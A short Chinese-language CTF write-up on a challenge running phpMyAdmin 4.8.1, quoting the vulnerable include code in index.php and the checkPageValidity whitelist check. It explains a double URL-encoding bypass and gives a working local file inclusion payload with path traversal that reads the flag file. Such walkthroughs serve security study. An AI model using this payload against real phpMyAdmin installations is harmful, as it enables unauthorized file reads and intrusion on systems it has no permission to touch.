我有一个数据库
访问页面/phpmyadmin/,没有密码,不过也没有表,找一下版本号4.8.1,找CVE打。
下载4.8.1的源码。由于找不到,直接把题目环境扒下来了。
// If we have a valid target, let's load that script instead
if (! empty($_REQUEST['target'])
&& is_string($_REQUEST['target'])
&& ! preg_match('/^index/', $_REQUEST['target'])
&& ! in_array($_REQUEST['target'], $target_blacklist)
&& Core::checkPageValidity($_REQUEST['target'])
) {
include $_REQUEST['target'];
exit;
}
看一下index.php的代码,当传入的
$_REQUEST['target']
- 不为空
- 是一个字符串
- 不含有
index
- 不包含
import.php
、export.php
- 通过
checkPageValidity
函数
进入core.php,查看代码
public static function checkPageValidity(&$page, array $whitelist = [])
{
if (empty($whitelist)) {
$whitelist = self::$goto_whitelist;
}
if (! isset($page) || !is_string($page)) {
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
return false;
}
注意到最后$page的值又经过了一次url解码,当参数通过$_REQUEST方式传入时,已经经过了一次url解码,这里又进行了第二次解码后,可以直接利用二次编码?绕过(有意思的是这段代码某比赛专门出了一题CTF用来考),接着传入文件包含。
payload
?target=db_datadict.php%253f/../../../../../../../../flag
Last modified 8mo ago